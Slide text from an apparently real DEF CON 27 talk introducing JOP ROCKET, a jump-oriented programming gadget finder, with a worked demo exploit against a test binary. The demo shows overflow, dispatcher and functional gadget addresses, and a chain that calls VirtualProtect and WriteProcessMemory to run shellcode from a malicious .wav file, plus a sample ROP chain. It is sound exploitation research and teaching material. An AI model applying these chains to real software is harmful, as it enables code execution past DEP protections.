THE JOP ROCKET: A SUPREMELY WICKED TOOL FOR JOP GADGET DISCOVERY, OR WHAT TO DO IF ROP IS TOO EASY

Dr. Bramwell Brizendine
Dr. Joshua Stroschein
DEF CON 27
August 9, 2019
DR. BRAMWELL BRIZENDINE

• Assistant Professor of Computer and Cyber Sciences at Dakota State University.
• Creator of the JOP ROCKET.
• Interests: Software exploitation, reverse engineering, malware analysis, offensive security.

• Education:
  – 2019: Ph.D in Cyber Operations
  – 2016: M.S. in Applied Computer Science
  – 2014: M.S. in Information Assurance

• Contact:
  – Bramwell.Brizendine@dsu.edu
DR. JOSH STROSCEHIN

- Assistant Professor of Cyber Security and Network & Security Administration at Dakota State University
- Teaches undergraduate and graduate courses in cyber security with a focus on malware analysis, reverse engineering, and software exploitation.
- Regular trainer at many venues, such as DerbyCon, Hack-in-The-Box, BlackHat USA, and ToorCon.
- Education:
  - 2017: D.S. Cyber Security
  - 2014: M.S. Information Assurance
- Contact:
  - Joshua.Stroschein@dsu.edu
ACKNOWLEDGEMENT

- **Austin Babcock**
  - Undergraduate research assistant at Dakota State University.
  - Cyber Operations student.
  - Created JOP exploit chain for demo.
  - Contact:
    - Austin.Babcock@trojans.dsu.edu
    - Contact Austin with internship or job opportunities, etc.

- **Dr. Jared DeMott of VDA Labs**
  - Member of Ph.D. dissertation committee.
WHAT WE ARE GOING TO TALK ABOUT?

• Remember ROP?
  – Let’s try something a little bit different.

• Introduction to Jump-Oriented Programming.

• Getting to know the JOP ROCKET.

• Some finer points of JOP exploit development.

• See the magic of JOP in action.
THE JOP ROCKET: DID WE INVENT JOP?

- Certainly not.
  - The literature provides us with examples of JOP going back a decade: Bletsch; Chen, et al.; Erdődi; Checkoway and Shacham
  
- For those interested in JOP though, there was a somewhat serious problem: lack of tools to facilitate usage.
  - There also really isn’t much practical information on doing JOP in Windows.

You can download the JOP ROCKET from Github: https://github.com/Bw3ll/JOP_ROCKET
JOP creates a side door

If there are ROP heuristics in place that make ROP detection too challenging, JOP may be a way around these. Just another way to bypass mitigations and make it so we can reach executable shellcode.
• Let’s not get ahead of ourselves here.
  – JOP is only one category of code-reuse attacks.
CODE-REUSE ATTACKS

- **Return-to-libc / ret2libc**
  - Older precursor to ROP.
    - Linux; not too relevant on Windows.

- **Return-oriented Programming (ROP)**
  - Result of Schacham’s work (2007).
    - Borrowed chunks of code.
  - ROP extends beyond ret2libc
    - Anything and everything versus just setting up function calls.

- **ROP gadget**
  - A gadget comprised of an instruction ending in RET.

- **ROP chain**
  - A sequence of different gadgets that collectively allows for more complex actions to take place.

- **Friending the stack**
  - Stack pivot, setting up Windows API calls, etc.

- **ROP Tools**
  - **Mona**
    - By Corelan Team, Peter Van Eeckhoutte.
    - Outstanding Python script that integrates flawlessly with WinDbg or Immunity.
    - Allows for discovery of ROP gadgets and many exploit related tasks.
  - **ROPgadget**
    - By Jonathan Salwan.
    - Allows for discovery of ROP gadgets.
    - Python script, supporting ELF, PE, Mach-O format on x86, x64, ARM64, PowerPC, SPARC, and MIPS.
    - Runs on command line, using Capstone disassembly engine.

Grab lines of instructions from process memory and glue them together.

This talk won’t teach you how to do ROP. It is probably a good idea to understand it before getting too deep into JOP.
def create_rop_chain():
    rop_gadgets = [
        0x00000000, # [-] Unable to find API pointer -> eax
        0x77740e8e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ntdll.dll]
        0x777891e6, # XCHG EAX,ESI # RETN [ntdll.dll]
        0x777b20a9, # POP EBP # RETN [ntdll.dll]
        0x77715220, # & push esp # ret [ntdll.dll]
        0x77778ca3, # POP EBX # RETN [ntdll.dll]
        0x00000001, # 0x00000001-> ebx
        0x777752d8, # POP EDX # RETN [ntdll.dll]
        0x00001000, # 0x00001000-> edx
        0x777fdd4a, # POP ECX # RETN [ntdll.dll]
        0x00000040, # 0x00000040-> ecx
        0x77779202, # POP EDI # RETN [ntdll.dll]
        0x777da68c, # RETN (ROP NOP) [ntdll.dll]
        0x7776b932, # POP EAX # RETN [ntdll.dll]
        0x90909090, # nop
        0x77801308, # PUSHAD # RETN [ntdll.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()
• **High level conceptual understanding of JOP:**
  - Instead of using ROP gadgets to order control flow, JMP and CALL instructions perform that role.
    - Put another way, JOP is ROP without RET's.
  - Stack is not available to use for control flow generally, but can be used to prepare Windows API calls.

• **Different JOP Paradigms**
  - **Using a dispatcher gadget and dispatch table, by Bletsch, et al. (2011)**
    - JOP ROCKET uses this approach. 😊
    - Uses a dispatcher gadget and dispatch table to direct control flow
    - Can still use the stack to load values
  - **Bring Your Own Pop Jump (BYOPJ) by Checkoway and Shacham (2010)**
    - POP X*/JMP X* gadget
      - Some may lead just to a RET, although that need not be the case.
      - This is essentially return-oriented programming without returns
        - Doesn't need dispatcher gadget.
        - The JMP [REG] just goes to a RET, so very similar to ROP
        - Can't use CALL [REG]
    - Chen, Ying, Mao, and Xie’s extensions to work by Checkoway and Shacham (2011)
      - Uses combinational gadget for system calls & control gadget to set jump register.
      - Combinational gadget will simply call/jmp to a gadget that ends in RET.
JOP DISPATCHER
GADGET PARADIGM

• Dispatcher gadget
  – DG is instrument of change, moving forwards or backwards in the dispatch table.
  – DG should be short and sweet, ideally two or three instructions.
  – DG will *predictably modify* the register holding address to dispatch table and then JMP or CALL to the dereferenced location.
    • ADD or SUB are best.

• Dispatch table
  – Each entry in dispatch table leads to addresses of functional gadgets.
    • May consist of padding between addresses.
      – NOPs or what is functionally equivalent.

• Functional gadgets
  – Gadgets that terminate in JMP or CALL to a register containing address of dispatcher gadget.
  – These are most like normal ROP gadgets.
  – These allow us to set up registers or the stack for Windows API calls.
    • Can then allow us to call Windows API’s to bypass DEP or other mitigations—-and more!

• Windows API Functions
  – You can prepare stack for calls to Windows API functions.
  – Will go out of JOP after call, but can redirect control flow back to dispatcher gadget, to keep on jopping.
There is a loop going from dispatcher gadget, to the current entry in the dispatch table, to its associated functional gadget, back to the DG, which moves to the next location in the dispatch table.

Dispatcher Gadget:

ADD EDI, 0xC; JMP DWORD PTR [EDI];
WHY JOP IS NOT MUCH USED

• One person claimed in 2015 JOP had never been used in the wild.
  – Wrong! It has been, but only very rarely.

• Lack of proper tooling to find JOP gadgets.
  – Not really feasible to do JOP if you don’t consider opcode-splitting.
  – This tool changes that.

• JOP is much trickier and less well understood.
  – ROP is easier, well documented, with publicly available tools.
  – No reason to use JOP if ROP suffices.
    • Enhanced difficulty and paucity of gadgets makes it tougher.

• Difficulty in finding JOP gadgets
  – Very non-trivial, given lack of available tools with needed functionality.
    • Must use a multitude of other tools to write your own.
    • Other tools not set up to easily find unintended instructions for JOP
    • **JOP ROCKET** changes the above. 😊
  – Would be very time-consuming, tedious to do this as a manual process without tools, requiring more expertise.
    • ROP algorithm vs. JOP algorithm
      – Finding the terminating indirect jumps and indirect calls and disassembling backwards to discover all intended and unintended without ROCKET is very UGLY.
    • ROP tools don’t really support JOP.
      – They have placeholders for future support.
JOP is a good deal more complex.
- Folks just don’t know how.
- Using ROP and the stack to manage control flow is simple.
  - With JOP, you must supply that functionality yourself via DG and DT.
- With JOP you must pay attention to registers used for dispatcher gadget, dispatch table, and getting gadgets arguments onto the stack.
  - A lot more in motion that could go wrong.
    - Maintaining order amid chaos.
  - Makes finding right gadgets very challenging at times.

Need that sacrosanct dispatcher gadget.
- They are scarce.
  - No dispatcher gadget, no JOP.
  - DG can tie up a register from future use.
  - Tough if it is a very commonly used register.
  - You could do the POP X/JMP X style of JOP, but that is more similar to ROP.

WHY JOP IS NOT MUCH USED
THE MORE YOU KNOW

- So if you are sitting at this talk, you probably know some about ROP and are maybe a master.
  - A lot of those principles can apply to JOP.
    - Similar ROP techniques can work in JOP.
    - The challenge is you have a lot fewer gadgets generally.

- If you wanted to, you could switch between ROP and JOP--if there were no particular reason you were trying to avoid ROP.
  - Will take some appropriate setup and adjustments.
INTRODUCING THE JOP ROCKET

• Jump-Oriented Programming Reversing Open Cyber Knowledge Expert Tool
  - Dedicated to the memory of rocket cats who made the ultimate sacrifice.
THE JOP ROCKET

• Jump-Oriented Programming
  Reversing Open Cyber
  Knowledge Expert Tool
  - Inspired by so-called rocket cats from the 1300’s, who helped subvert defenses of a well-defended castle.
    • The feline adversary with his payload would inevitably find a way in past secure defenses.
  - JOP ROCKET is similar in that it allows attacks to bypass systems that may be well-defended against ROP.
    • Side door to ROP heuristics.
  - Grew out of doctoral dissertation research by Bramwell
  - Sophisticated tool with a lot of functionality devoted to its tasks.
  - Python script with dependencies intended to be run on executables.
    • Static analysis; does not target active processes.
  - Will scan an executable and all modules.
  - Interactive command line UI.
    • Brief keyboard shortcuts.
    • Can also take file as arg with a “get everything” option.
THE JOP ROCKET - ITS FEATURES

- Features
  - Provides tremendous flexibility for how it discovers both functional gadgets and dispatcher gadgets.
    - User can customize how these are found as need be.
  - Provides dozens of categories of classifications for gadgets based on operations they perform.
    - E.g. MOV [REG], [REG], ADD, SUB, etc.
    - Can specify which REG it goes to or which REG it affects.
      - Can allow user to be very granular about results sought; no needle in a haystack.

- Searches and finds "everything" with all classifications performed simultaneously.
  - Once it is done, it is ready to print results to files "instantly."
    - If you change how gadgets are formed though, rescanning may be necessary.
  - Uses opcode-splitting to discover all unintended gadgets.
    - JOP really isn’t possible without this.

- Static analysis tool to scan image executable and all associated modules.
THE JOP ROCKET - ITS CONTRIBUTIONS

• **Original logic to find dispatcher gadget in tool.**
  - Not available in previous tools
  - New logic to find other types of DG.
    • Rarely found or useful

• **Robust exclusion criteria via RE to eliminate nonsensical results.**
  - Some generated via opcode-splitting.
  - Helps avoid getting bogged down by irrelevant, useless gadgets.
    • E.g. functionally equivalent NOPs.

• **Uses unique, original methods and techniques to store information disassembly.**
  - No disassembly stored at any time, just bookkeeping data.
  - Not really important as far as doing JOP, but a different way to address this programmatically.

• **Instantiation of fully-featured JOP tool is a major contribution.**
  - Tremendous flexibility, numerous options for how JOP gadgets are generated.
  - Customization to change how they are found.
    • Can expand or narrow results found.

• **Without a tool such as this, you would need to use variety tools to get same data.**
  - Data would not be organized/classified.
  - No opcode-splitting → not enough JOP. **SORRY!**
  - Time consuming, tedious, boring. **AWFUL.**

• **Get everything option;**
  - Obtain all possible results for different operations based on reasonable default.
  - Print to .csv # of gadgets for each category, making easier to see if JOP is feasible for binary.
JOP ROCKET - HOW TO USE IT

• Static analysis tool run on the command line.
  – Optimized for Cygwin.
  – Can run on any platform that supports Linux with dependencies, though limited outside Windows.

• Provide binary as command line argument
  – python prog.py paint.exe

• Will provide output for offsets -- convenient for ASLR bypasses.

• JOP ROCKET Options:
  – f: Change PE file being analyzed
  – r: Specify target 32-bit registers, delimited by commas. E.g. EAX, EBX, ECX
  – t: Set control flow, e.g. JMP, CALL, ALL
  – p: Print, e.g. ALL, all by REG, by operation
  – d: Get dispatcher gadgets, e.g. by REG or ALL
  – D: Set level of depth for dispatcher gadgets.
  – m: Extract the modules for specified registers.
  – n: Change number of opcodes to disassemble
  – l: Change lines to go back when searching for dispatcher gadget.
  – s: Scope--look only within the executable or executable and all modules
  – g: Get gadgets; this acquires all gadgets ending in specified registers.
  – G: Get dispatcher gadgets; this acquires all gadgets ending in specified registers.
  – c: Clears everything.
  – k: Clears selected DLLs.
  – x: exit.

You can download the JOP ROCKET from Github: https://github.com/Bw3ll/JOP_ROCKET
JOP ROCKET - HOW TO USE IT

• **Lots of features; minimalist UI.**

• **Steps to take:**
  – Establish registers of interest to search for
    • e.g. EAX, EBX, All
  – Establish scope - do you want JMP, CALL, or both?
    • e.g. CALL EAX, JMP EAX
  – Are you looking at modules/dlls?
    • If so, it must extract those.
  – Once selections are made, type g for go, and it will obtain and classify all JOP gadgets

• Print results to terminal and file.
  • There are numerous areas of classification, based also upon registers selected.
    – This allows you to be very granular and specific about needs.
      • E.g. seeking an operation that performs addition on EDX
    • Selected desired operations to print.
      – Can select ALL, recommended, different categories (e.g. POP, PUSH).
  – Can select everything and print out total numbers of gadgets as a CSV.
    • Useful to see if enough gadgets to be worth spending too much time with.
      – Sometimes there just won’t be enough.
- To find dispatcher gadgets, must first select registers to be searched for.
- Next, select registers used for dispatcher gadgets.
- Select appropriate option under printing sub-menu to get dispatcher gadgets.
- Reminder: dispatcher gadgets are fairly scarce, so you may have to make do with what’s available.

- **Dispatcher Gadgets**

- Using a CALL in Dispatcher Gadget adds difficulty, but not impossible.
  - Call keeps pushing return address to stack.
  - If using stack to load parameters for Windows API calls, need to make frequent stack adjustments.
    - Likely **not** feasible with most.
  - May need to use other area of memory under control to set up parameters, and then do stack pivot prior to calling the Windows API.
    - Gadgets may not be there to support it.
      - If so, use JOP ROCKET and try to think creatively.

- **JOP ROCKET can find dispatcher gadgets for you.**
  - If not enough or none found, you can increase the depth.

- Call keeps pushing return address to stack.
- If using stack to load parameters for Windows API calls, need to make frequent stack adjustments.
  - Likely not feasible with most.
- May need to use other area of memory under control to set up parameters, and then do stack pivot prior to calling the Windows API.
  - Gadgets may not be there to support it.
    - If so, use JOP ROCKET and try to think creatively.
A COUPLE SCREENSHOTS

Which registers do you wish to search for dispatcher gadgets? E.g. ALL, EAX, EBX, etc.
EAX, edx
Registers selected: EAX, EDX...
Options:
F: Change name
r: Specify target 32-bit registers, delimited by commas. E.g. EAX, EBX, edx
s: Set control flow, e.g. JMP, CALL, ALL
p: Print, e.g. ALL, all by REG, by operation
G: Get dispatcher gadgets, e.g. by REG or ALL
G: Get level of depth for dispatcher gadgets...
Extract the modules for specified registers.
J: Change number of soothing to disassemble.
L: Change time to go back when searching for dispatcher gadget.
S: Scope—look only within the executable or executable and all modules
G: Get gadgets; this requires all gadgets ending in specified registers.
G: Get dispatcher gadgets; this requires all gadgets ending in specified registers.
R: SEE MORE HELP!!
C: Clears everything.
K: Clears selected DLLs.
X: exit.

**Functional commands:**
de - view selections  z - Run print routines for sections
C - Clear all operation selections
You must specify the registers to print. It will print each by default.
F - Set registers to print
dis - Print all dispatcher gadgets
bdis - Print all the BEST dispatcher gadgets
odis - Print all other dispatcher gadgets
da - Print dispatcher gadgets for EAX
db - Print dispatcher gadgets for EBX
dc - Print dispatcher gadgets for ECX
dd - Print dispatcher gadgets for EDX
dd - Print dispatcher gadgets for EDI
ds - Print dispatcher gadgets for ESI
dp - Print dispatcher gadgets for EBP
oa - Print dispatcher gadgets for EAX
ob - Print dispatcher gadgets for EBX
oc - Print dispatcher gadgets for ECX
od - Print dispatcher gadgets for EDX
os - Print dispatcher gadgets for ESI
ob - Print dispatcher gadgets for EBP
j - Print all JMP [REG]  c - Print all CALL [REG]
ja - Print all JMP EAX  ca - Print all CALL EAX
jb - Print all JMP EBX  cb - Print all CALL EBX
jc - Print all JMP ECX  cc - Print all CALL ECX
d - Print all JMP EDX  cd - Print all CALL EDX
sb - Print all JMP ESI  cd - Print all CALL EDI
si - Print all JMP ESI  csi - Print all CALL ESI
sp - Print all JMP EBP  csp - Print all CALL EBP
ms - Print all arithmetic
a - Print all ADD
b - Print all SUB
m - Print all MUL
d - Print all INC
j - Print all D Sly
move - Print all movement
mov - Print all MOV
b - Print all MOV
mov - Print all MOV Value
mov - Print all MOV Shuffle
xc - Print all LEA
all - Print all the above
NOW ONTO A JOP EXPLOIT DEMO

• Let the **fun** begin.

• Let’s walk through some of the finer points, so we can understand how it works in practice.
We have two points of control here, an overflow in a string resulting in control over EIP, and the file supplied which gets written to memory.

Flow of execution for the exploit:

1. Initial overflow

```c
> enter input:
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA...
```

2. JOP Setup Gadget

```c
SUB ESP,0x4f;
POP EAX;
...
JMP EDX;
```

3. JOP chains in malicious .wav

```c
.wav file header
...
VirtualProtect()
JOP Chain
...
WriteProcessMemory()
JOP Chain
...
```

4. NOP sled + Shellcode

This gadget put the Dispatcher address in EDX, and the Table address in EDI, making JOP possible.

You can download the JOP ROCKET from Github: [https://github.com/Bw3ll/JOP_ROCKET](https://github.com/Bw3ll/JOP_ROCKET)
A LOOK AT SOME JOP SPECIFICS

<table>
<thead>
<tr>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>Register holding dispatcher address:</td>
<td>EDX</td>
</tr>
<tr>
<td>Register holding dispatch table address:</td>
<td>EDI</td>
</tr>
<tr>
<td>Dispatcher gadget instructions:</td>
<td>ADD EDI,0xC; JMP DWORD PTR [EDI];</td>
</tr>
<tr>
<td>ESP location during main JOP chains:</td>
<td>628 bytes after the beginning of the .wav file in memory (0x00436628)</td>
</tr>
</tbody>
</table>
**Dispatcher Gadget**

**Address:** 0x00401538  
ADD EDI,0xC;  
JMP DWORD PTR [EDI];

**Dispatch table**

<table>
<thead>
<tr>
<th>Address</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00436038</td>
<td>ED 17 40 00</td>
</tr>
<tr>
<td>0x0043603C</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x00436040</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x00436044</td>
<td>E6 15 40 00</td>
</tr>
<tr>
<td>0x00436048</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x0043604C</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x00436050</td>
<td>E6 15 40 00</td>
</tr>
<tr>
<td>0x00436054</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x00436058</td>
<td>41 41 41 41</td>
</tr>
<tr>
<td>0x0043605C</td>
<td>61 15 40 00</td>
</tr>
</tbody>
</table>

**Functional Gadgets**

<table>
<thead>
<tr>
<th>Address</th>
<th>Instruction</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00401561</td>
<td>MOV ECX,0x0552A200;</td>
</tr>
<tr>
<td>...</td>
<td>MOV EBX,0x40204020;</td>
</tr>
<tr>
<td>...</td>
<td>JMP EDX;</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>0x004015E6</td>
<td>ADD ESP,0x894;</td>
</tr>
<tr>
<td>...</td>
<td>MOV EBP,ESP;</td>
</tr>
<tr>
<td>...</td>
<td>JMP EDX;</td>
</tr>
<tr>
<td>...</td>
<td>...</td>
</tr>
<tr>
<td>0x004016ED</td>
<td>MOV ESP,0x00435500;</td>
</tr>
<tr>
<td>...</td>
<td>JMP EDX;</td>
</tr>
</tbody>
</table>
SETTING THINGS UP

- Initial overflow directs execution to the setup gadget (below).
  - Allows us to put the dispatcher address into EDX and the table address into EDI.
  - CALL EDX directs flow to dispatcher. Everything after adheres to dispatch table.

  ```
  MOV ESP ,0x00435500 # JMP EDX
  SUB ESP ,0x4f # POP EAX # POP EDX # POP EDI
  XOR EDX,EAX # XOR EDI,EAX # CALL EDX
  ```

  XORs allow us to get to values containing null bytes without supplying null bytes ourselves.

- Before we start crafting function calls, let’s move ESP.
  - ESP is moved to a location in memory where the .wav file is written

  ```
  ADD ESP , 0x894 # MOV EBP ,ESP # JMP EDX
  ADD ESP , 0x894 # MOV EBP ,ESP # JMP EDX
  ```

  ESP = 0x00435D94, one more should do it.
  ESP = 0x00436628, 628 bytes after the start of the file in memory.

  ```
  ADD ESP , 0x894 # MOV EBP ,ESP # JMP EDX
  ```

  ESP = 0x00436628, 628 bytes after the start of the file in memory.

  ```
  MOV ESP ,0x00435500 # JMP EDX
  ```

  Pretty close... file starts at 0x00436000.
CALLING FUNCTIONS WITH JOP

- **VirtualProtect()**
  - Used to create a section of RWX memory to write shellcode to and execute it from.
  - This violates the core principle behind DEP.

<table>
<thead>
<tr>
<th>Items Pushed, in Order</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Formal Name</strong></td>
</tr>
<tr>
<td>Return Address</td>
</tr>
<tr>
<td>lpfOldProtect</td>
</tr>
<tr>
<td>flNewProtect</td>
</tr>
<tr>
<td>dwSize</td>
</tr>
<tr>
<td>lpAddress</td>
</tr>
<tr>
<td>Pointer to Function</td>
</tr>
</tbody>
</table>
CALLING FUNCTIONS WITH JOP

- **WriteProcessMemory()**
  - Used to copy the shellcode from our malicious file to the RWX memory created by VirtualProtect().

<table>
<thead>
<tr>
<th>Items Pushed, in Order</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Formal Name</strong></td>
<td><strong>Value Pushed</strong></td>
</tr>
<tr>
<td>Return Address</td>
<td>0x00432128</td>
</tr>
<tr>
<td></td>
<td>Return to freshly written shellcode</td>
</tr>
<tr>
<td>lpNumberOfBytesWritten</td>
<td>0x00461000</td>
</tr>
<tr>
<td></td>
<td>A writable location</td>
</tr>
<tr>
<td>nSize</td>
<td>0x240</td>
</tr>
<tr>
<td></td>
<td>Number of bytes to write</td>
</tr>
<tr>
<td>lpBuffer</td>
<td>0x004369FC</td>
</tr>
<tr>
<td></td>
<td>Location of bytes to copy from</td>
</tr>
<tr>
<td>lpBaseAddress</td>
<td>0x00432128</td>
</tr>
<tr>
<td></td>
<td>Address to write to</td>
</tr>
<tr>
<td>hProcess</td>
<td>0xFFFFFFFFFF</td>
</tr>
<tr>
<td></td>
<td>Handle to current process</td>
</tr>
<tr>
<td>Pointer to Function</td>
<td>0x7648D9A8</td>
</tr>
<tr>
<td></td>
<td>Used to call function</td>
</tr>
</tbody>
</table>
SUPPLYING VALUES FOR FUNCTIONS

• A single gadget is used at the start of the chain for each function to set ECX to an arbitrary value.
  • Specific value isn’t important – just the fact that we know what value it is.

```
0x00401561  MOV ECX,0x0552A200  # ... # JMP EDX
```

• Afterwards, this series of gadgets is used repeatedly:
  • Allows us to PUSH two of our needed values for a function call.
  • ESP is adjusted as needed in later uses

```
0x00401544  ... # POP EAX # ... # JMP EDX  \rightarrow  0x00401572  ... # XOR ECX, EAX # ... # JMP EDX

0x00401544  ... # POP EAX # ... # JMP EDX  \rightarrow  0x00401591  PUSH EAX # PUSH ECX # ... # JMP EDX
```

• ESP doesn’t move much after the very start of the exploit. Only slight adjustments are needed to PUSH and POP at the right locations.

```
0x004015D5  SUB ESP,0x8  # JMP EDX

0x00401591  PUSH EAX # PUSH ECX # ... # JMP EDX
```
SOME NUANCES

Dereferencing VirtualProtect() Pointer
- Within memory is a pointer to the VirtualProtect() address. This pointer is always at the same location: 0x00427008.
- Here ECX contains the pointer (0x00427008). Dereferencing this pointer gives us the real VirtualProtect() address.

Fixing EDX After VirtualProtect() Call
- VirtualProtect() changes EDX, making it no longer contain the dispatcher address.
- This gadget can be used to POP the address back into EDX.

CALL-ing a Friend
- You can use gadgets ending in CALL <register> as well! Just account for the return address the CALL instruction will push.
A COUPLE MORE NUANCES

- **Getting the address to WriteProcessMemory()**
  - Unlike VirtualProtect(), the binary doesn’t have a direct pointer to WriteProcessMemory().
  - However, both functions are found in the same DLL.
  - We can get to WriteProcessMemory() by manually analyzing the DLL and finding an offset to add to the VirtualProtect() address.

At this point in the chain, ECX already contains the dereferenced VirtualProtect() address.

```
0x00401544 ... # POP EAX # JMP EDX
0x00401604 MOV EBX,EAX # ADD EBX,ECX # JMP EDX
```

- **Putting the offset into EAX**
  - Offset gets added to VirtualProtect() address, so it becomes WriteProcessMemory() address.

```
0x00401695 MOV EAX,EDX # ... # JMP EDX
0x0040159E ... # PUSH EBX # JMP EAX
```

- **JMP to a Different Register**
  - If you need a specific gadget, but it JMPs or CALLs to the wrong register, why not put the Dispatcher address in that register than use it anyways?
AND NOW TIME FOR THE DEMO?

1. Take a ROCKET ride.
2. JOP it.
3. Profit.
4. Joy?